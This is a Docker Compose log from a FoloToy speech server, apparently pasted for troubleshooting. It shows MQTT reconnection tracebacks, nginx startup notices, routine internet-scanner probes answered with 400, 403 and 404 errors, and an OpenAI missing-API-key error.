core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 02:40:47,720 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 02:40:49,734 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): nginx_1 | 167.94.146.55 - - [03/Nov/2023:21:42:48 +0000] "PRI HTTP/2.0" 400 157 "-" "-" "-" nginx_1 | 2023/11/03 21:44:50 [error] 30#30: 25 directory index of "/usr/share/nginx/html/" is forbidden, client: 194.187.176.103, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 194.187.176.103 - - [03/Nov/2023:21:44:50 +0000] "GET / HTTP/1.1" 403 153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" "-" nginx_1 | 2023/11/03 21:44:50 [error] 30#30: 26 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 194.187.176.175, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "139...139:8082" nginx_1 | 194.187.176.175 - - [03/Nov/2023:21:44:50 +0000] "GET /favicon.ico HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" "-" nginx_1 | 106.75.71.247 - - [03/Nov/2023:21:51:52 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 8_2_1; Win64; x64) AppleWebKit/587.48 (KHTML, like Gecko) Chrome/91.0.8 Safari/537.36" "-" nginx_1 | 2023/11/03 21:51:52 [error] 30#30: 27 directory index of "/usr/share/nginx/html/" is forbidden, client: 106.75.71.247, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 106.75.71.247 - - [03/Nov/2023:21:51:52 +0000] "GET /favicon.ico HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 9_2_2) AppleWebKit/537.42 (KHTML, like Gecko) Chrome/70.0.1987 Safari/537.36" "-" nginx_1 | 2023/11/03 21:51:52 [error] 30#30: 28 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 106.75.71.247, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "139...139:8082" nginx_1 | 106.75.71.247 - - [03/Nov/2023:21:51:52 +0000] "GET /sitemap.xml HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 8_2_1) AppleWebKit/542.51 (KHTML, like Gecko) Chrome/104.0.741 Safari/537.36" "-" nginx_1 | 2023/11/03 21:51:52 [error] 30#30: 29 open() "/usr/share/nginx/html/sitemap.xml" failed (2: No such file or directory), client: 106.75.71.247, server: localhost, request: "GET /sitemap.xml HTTP/1.1", host: "139...139:8082" nginx_1 | 2023/11/03 21:51:52 [error] 30#30: 30 open() "/usr/share/nginx/html/robots.txt" failed (2: No such file or directory), client: 106.75.71.247, server: localhost, request: "GET /robots.txt HTTP/1.1", host: "139...139:8082" nginx_1 | 106.75.71.247 - - [03/Nov/2023:21:51:52 +0000] "GET /robots.txt HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 8_2_2) AppleWebKit/536.55 (KHTML, like Gecko) Chrome/54.0.1708 Safari/537.36" "-" nginx_1 | 47.92.33.185 - - [03/Nov/2023:23:38:00 +0000] "\x16\x03\x03\x01\x02\x01\x00\x00\xFE\x03\x03\xAFY\xE5\x1CZF\xA1\xA9\xCD\x06\x18\x06\xD4h\xB1\x84\xA7u\xAC)>\x03\x81\x94\x8A)\x17\x5C\xAD&\xB7b\x00\x00V\xC0,\xC0+\xC00\xC0/\x00\x9F\x00\xA3\x00\x9E\x00\xA2\xC0$\xC0(\xC0#\xC0'\x00k\x00j\x00g\x00@\xC0.\xC02\xC0-\xC01\xC0&\xC0\xC0%\xC0)\xC0" 400 157 "-" "-" "-" nginx_1 | 47.92.68.55 - - [03/Nov/2023:23:57:41 +0000] "\x16\x03\x03\x01\x02\x01\x00\x00\xFE\x03\x03,\xED/\xF1\xE5E\xD3R\x1B\x10\xCEhx\xBC\xEA\x97d\x07T\xA8\xF1\xADt\xBD\x0C\xDD\x87\xB4E]\x0F\x00\x00V\xC0,\xC0+\xC00\xC0/\x00\x9F\x00\xA3\x00\x9E\x00\xA2\xC0$\xC0(\xC0#\xC0'\x00k\x00j\x00g\x00@\xC0.\xC02\xC0-\xC01\xC0&\xC0\xC0%\xC0)\xC0" 400 157 "-" "-" "-" nginx_1 | 141.98.11.60 - - [04/Nov/2023:00:08:49 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-" nginx_1 | 2023/11/04 00:08:49 [error] 30#30: 33 directory index of "/usr/share/nginx/html/" is forbidden, client: 141.98.11.60, server: localhost, request: "GET / HTTP/1.1", host: "139...139" nginx_1 | 78.128.114.22 - - [04/Nov/2023:01:24:33 +0000] "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 157 "-" "-" "-" nginx_1 | 2023/11/04 05:00:13 [error] 29#29: 41 directory index of "/usr/share/nginx/html/" is forbidden, client: 167.94.138.125, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 167.94.138.125 - - [04/Nov/2023:05:00:13 +0000] "PRI HTTP/2.0" 400 157 "-" "-" "-" nginx_1 | 179.60.147.13 - - [04/Nov/2023:08:40:39 +0000] "\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 157 "-" "-" "-" nginx_1 | 2023/11/04 11:59:07 [error] 29#29: 45 directory index of "/usr/share/nginx/html/" is forbidden, client: 5.182.209.121, server: localhost, request: "GET / HTTP/1.1", host: "139...139" nginx_1 | 5.182.209.121 - - [04/Nov/2023:11:59:07 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-" nginx_1 | 2023/11/04 12:50:36 [error] 29#29: 46 directory index of "/usr/share/nginx/html/" is forbidden, client: 141.98.11.52, server: localhost, request: "GET / HTTP/1.1", host: "139...139" nginx_1 | 141.98.11.52 - - [04/Nov/2023:12:50:36 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-" nginx_1 | 185.36.81.33 - - [04/Nov/2023:14:44:50 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-" nginx_1 | 2023/11/04 14:44:50 [error] 29#29: 47 directory index of "/usr/share/nginx/html/" is forbidden, client: 185.36.81.33, server: localhost, request: "GET / HTTP/1.1", host: "139...139" nginx_1 | 47.94.10.182 - - [04/Nov/2023:17:02:16 +0000] "~\x02\x00\x002\x01\x163\x90Tb\x00\x0F\x00\x00\x00\x00\x00\x0C\x00\x03\x02\x11\xC1\xCF\x06\x9E\xCF\xEB\x01S\x01e\x00F\x19\x06%\x00)\x22\x01\x04\x00\x02\xE5\x03\x02\x00\x00%\x04\x00\x00\x00\x000\x01\x1D1\x01\x11\xFD~" 400 157 "-" "-" "-" nginx_1 | 47.94.10.182 - - [04/Nov/2023:17:02:16 +0000] "GET / HTTP/1.0" 403 153 "-" "-" "-" nginx_1 | 2023/11/04 17:02:16 [error] 29#29: *50 directory index of "/usr/share/nginx/html/" is forbidden, client: 47.94.10.182, server: localhost, request: "GET / HTTP/1.0" nginx_1 | 47.94.236.174 - - [04/Nov/2023:17:02:23 +0000] "~\x02\x00\x002\x01\x163\x90Tb\x00\x0F\x00\x00\x00\x00\x00\x0C\x00\x03\x02\x11\xC1\xCF\x06\x9E\xCF\xEB\x01S\x01e\x00F\x19\x06%\x00)\x22\x01\x04\x00\x02\xE5\x03\x02\x00\x00%\x04\x00\x00\x00\x000\x01\x1D1\x01\x11\xFD~" 400 157 "-" "-" "-" nginx_1 | 2023/11/04 17:02:23 [error] 30#30: 53 directory index of "/usr/share/nginx/html/" is forbidden, client: 47.94.232.171, server: localhost, request: "GET / HTTP/1.0" nginx_1 | 47.94.232.171 - - [04/Nov/2023:17:02:23 +0000] "GET / HTTP/1.0" 403 153 "-" "-" "-" nginx_1 | 47.94.134.96 - - [04/Nov/2023:17:02:23 +0000] "~\x02\x00\x002\x01\x163\x90Tb\x00\x0F\x00\x00\x00\x00\x00\x0C\x00\x03\x02\x11\xC1\xCF\x06\x9E\xCF\xEB\x01S\x01e\x00F\x19\x06%\x00)\x22\x01\x04\x00\x02`\xE5\x03\x02\x00\x00%\x04\x00\x00\x00\x000\x01\x1D1\x01\x11\xFD~" 400 157 "-" "-" "-" nginx_1 | 47.94.130.83 - - [04/Nov/2023:17:02:23 +0000] "GET / HTTP/1.0" 403 153 "-" "-" "-" nginx_1 | 2023/11/04 17:02:23 [error] 30#30: 54 directory index of "/usr/share/nginx/html/" is forbidden, client: 47.94.130.83, server: localhost, request: "GET / HTTP/1.0" nginx1 | 47.94.10.182 - - [04/Nov/2023:17:03:16 +0000] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03\x8D=}E58\xBF\x1Ey\xDB\xAC" 400 157 "-" "-" "-" nginx_1 | 59.110.157.163 - - [04/Nov/2023:17:03:23 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1" "-" nginx_1 | 2023/11/04 17:03:23 [error] 30#30: 60 directory index of "/usr/share/nginx/html/" is forbidden, client: 59.110.157.163, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 47.94.232.99 - - [04/Nov/2023:17:03:24 +0000] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03\xC0\xF0\xF9[\xD8\xFDc\xD4\x895\x07\x03~|\x80\xD1\x0EL\x17\x8C\xA4~\xBB\x0C\x88P\x99\xD8\x97\x9CP\x88 \x1FJ1;\x5C\xCEu\xE7\x10-\x1B\x8C&S\xF0\xD0^\xFA\xFD\xAEL\xAF^%h\xC36\x83\xF2\x1D2\xED\x00\x9E\x13\x02\x13\x03\x13\x01\x003\x009\x005\x00/\xC0,\xC00\x00\xA3\x00\x9F\xCC\xA9\xCC\xA8\xCC\xAA\xC0\xAF\xC0\xAD\xC0\xA3\xC0\x9F\xC0]\xC0a\xC0W\xC0S\xC0+\xC0/\x00\xA2\x00\x9E\xC0\xAE\xC0\xAC\xC0\xA2\xC0\x9E\xC0\x5C\xC0`\xC0V\xC0R\xC0$\xC0(\x00k\x00j\xC0s\xC0w\x00\xC4\x00\xC3\xC0#\xC0'\x00g\x00@\xC0r\xC0v\x00\xBE\x00\xBD\xC0" 400 157 "-" "-" "-" nginx_1 | 47.94.195.188 - - [04/Nov/2023:17:03:25 +0000] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03\x80\x028\xEF\x18'\x91\xE0\x9E\xF2\x82u\xF7Or#\xEF\xDA\xAA\x976\xE8\xA4\xBB1\xD0\x1F\xA4\xAB\x91e\x16 \xF7\x83<\x9FJ\x02D\xF6{w\x83b\xC3\xB1\x22\xD2\x19 n\xA6\x05\xE7\xD3\xDE\xDF\xA4\xC5\x8C\x7F\x00\x9E\x13\x02\x13\x03\x13\x01\x003\x009\x005\x00/\xC0,\xC00\x00\xA3\x00\x9F\xCC\xA9\xCC\xA8\xCC\xAA\xC0\xAF\xC0\xAD\xC0\xA3\xC0\x9F\xC0]\xC0a\xC0W\xC0S\xC0+\xC0/\x00\xA2\x00\x9E\xC0\xAE\xC0\xAC\xC0\xA2\xC0\x9E\xC0\x5C\xC0`\xC0V\xC0R\xC0$\xC0(\x00k\x00j\xC0s\xC0w\x00\xC4\x00\xC3\xC0#\xC0'\x00g\x00@\xC0r\xC0v\x00\xBE\x00\xBD\xC0" 400 157 "-" "-" "-" nginx_1 | 47.94.130.83 - - [04/Nov/2023:17:03:25 +0000] "GET / HTTP/1.1" 403 153 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" "-" nginx_1 | 2023/11/04 17:03:25 [error] 30#30: 62 directory index of "/usr/share/nginx/html/" is forbidden, client: 47.94.130.83, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 47.94.10.182 - - [04/Nov/2023:17:03:28 +0000] "GET / HTTP/1.1" 403 153 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" "-" nginx_1 | 2023/11/04 17:03:28 [error] 30#30: 63 directory index of "/usr/share/nginx/html/" is forbidden, client: 47.94.10.182, server: localhost, request: "GET / HTTP/1.1", host: "m.4000792888.com:8082" nginx_1 | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration nginx_1 | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh nginx_1 | 10-listen-on-ipv6-by-default.sh: info: IPv6 listen already enabled nginx_1 | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh nginx_1 | /docker-entrypoint.sh: Configuration complete; ready for start up nginx_1 | 2023/11/05 02:38:05 [notice] 1#1: using the "epoll" event method nginx_1 | 2023/11/05 02:38:05 [notice] 1#1: nginx/1.25.3 nginx_1 | 2023/11/05 02:38:05 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14) nginx_1 | 2023/11/05 02:38:05 [notice] 1#1: OS: Linux 3.10.0-1160.95.1.el7.x86_64 nginx_1 | 2023/11/05 02:38:05 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576 nginx_1 | 2023/11/05 02:38:05 [notice] 1#1: start worker processes nginx_1 | 2023/11/05 02:38:05 [notice] 1#1: start worker process 22 nginx_1 | 2023/11/05 02:38:05 [notice] 1#1: start worker process 23 nginx_1 | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration nginx_1 | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh nginx_1 | 10-listen-on-ipv6-by-default.sh: info: IPv6 listen already enabled nginx_1 | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh nginx_1 | /docker-entrypoint.sh: Configuration complete; ready for start up nginx_1 | 2023/11/05 02:40:46 [notice] 1#1: using the "epoll" event method nginx_1 | 2023/11/05 02:40:46 [notice] 1#1: nginx/1.25.3 nginx_1 | 2023/11/05 02:40:46 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14) nginx_1 | 2023/11/05 02:40:46 [notice] 1#1: OS: Linux 3.10.0-1160.102.1.el7.x86_64 nginx_1 | 2023/11/05 02:40:46 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576 nginx_1 | 2023/11/05 02:40:46 [notice] 1#1: start worker processes nginx_1 | 2023/11/05 02:40:46 [notice] 1#1: start worker process 22 nginx_1 | 2023/11/05 02:40:46 [notice] 1#1: start worker process 23 nginx_1 | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration nginx_1 | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh nginx_1 | 10-listen-on-ipv6-by-default.sh: info: IPv6 listen already enabled nginx_1 | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh nginx_1 | /docker-entrypoint.sh: Configuration complete; ready for start up nginx_1 | 2023/11/05 08:36:40 [notice] 1#1: using the "epoll" event method nginx_1 | 2023/11/05 08:36:40 [notice] 1#1: nginx/1.25.3 nginx_1 | 2023/11/05 08:36:40 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14) nginx_1 | 2023/11/05 08:36:40 [notice] 1#1: OS: Linux 3.10.0-1160.102.1.el7.x86_64 nginx_1 | 2023/11/05 08:36:40 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576 nginx_1 | 2023/11/05 08:36:40 [notice] 1#1: start worker processes nginx_1 | 2023/11/05 08:36:40 [notice] 1#1: start worker process 21 nginx_1 | 2023/11/05 08:36:40 [notice] 1#1: start worker process 22 folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 02:40:49,735 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 02:40:51,742 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 02:40:51,743 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 02:40:53,744 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 02:40:53,745 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 02:40:55,748 - INFO - Connected to MQTT Broker(emqx:1883)! folotoy_1 | 2023-11-05 02:40:55,749 - INFO - Speech server started(0.0.0.0:8085/udp) folotoy_1 | 2023-11-05 08:36:41,673 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 08:36:41,675 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 08:36:43,676 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 08:36:43,677 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 08:36:45,682 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 08:36:45,683 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 08:36:47,686 - INFO - Speech server started(0.0.0.0:8085/udp) folotoy_1 | 2023-11-05 08:36:47,686 - INFO - Connected to MQTT Broker(emqx:1883)! folotoy_1 | 2023-11-05 08:56:41,867 - ERROR - Record error: Traceback (most recent call last): folotoy_1 | File "core/speech_server.py", line 194, in core.speech_server.SpeechServer.write_wav folotoy_1 | File "sdk/stt.py", line 21, in sdk.stt.SttSdk.transcribe folotoy_1 | File "sdk/stt.py", line 22, in sdk.stt.SttSdk.transcribe folotoy_1 | File "sdk/stt.py", line 43, in sdk.stt.SttSdk.openai_whisper folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_resources/audio.py", line 55, in transcribe folotoy_1 | requestor, files, data = cls._prepare_request( folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_resources/audio.py", line 28, in _prepare_request folotoy_1 | requestor = api_requestor.APIRequestor( folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_requestor.py", line 138, in init folotoy_1 | self.api_key = key or util.default_api_key() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/util.py", line 186, in default_api_key folotoy_1 | raise openai.error.AuthenticationError(

folotoy_1 | openai.error.AuthenticationError: No API key provided. You can set your API key in code using 'openai.api_key = ', or you can set the environment variable OPENAI_API_KEY=). If your API key is stored in a file, you can point the openai module at it with 'openai.api_key_path = '. You can generate API keys in the OpenAI web interface. See https://platform.openai.com/account/api-keys for details.

folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/speech_server.py", line 194, in core.speech_server.SpeechServer.write_wav folotoy_1 | File "sdk/stt.py", line 21, in sdk.stt.SttSdk.transcribe folotoy_1 | File "sdk/stt.py", line 22, in sdk.stt.SttSdk.transcribe folotoy_1 | File "sdk/stt.py", line 43, in sdk.stt.SttSdk.openai_whisper folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_resources/audio.py", line 55, in transcribe folotoy_1 | requestor, files, data = cls._prepare_request( folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_resources/audio.py", line 28, in _prepare_request folotoy_1 | requestor = api_requestor.APIRequestor( folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_requestor.py", line 138, in init folotoy_1 | self.api_key = key or util.default_api_key() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/util.py", line 186, in default_api_key folotoy_1 | raise openai.error.AuthenticationError( folotoy_1 | openai.error.AuthenticationError: No API key provided. You can set your API key in code using 'openai.api_key = ', or you can set the environment variable OPENAI_API_KEY=). If your API key is stored in a file, you can point the openai module at it with 'openai.api_key_path = '. You can generate API 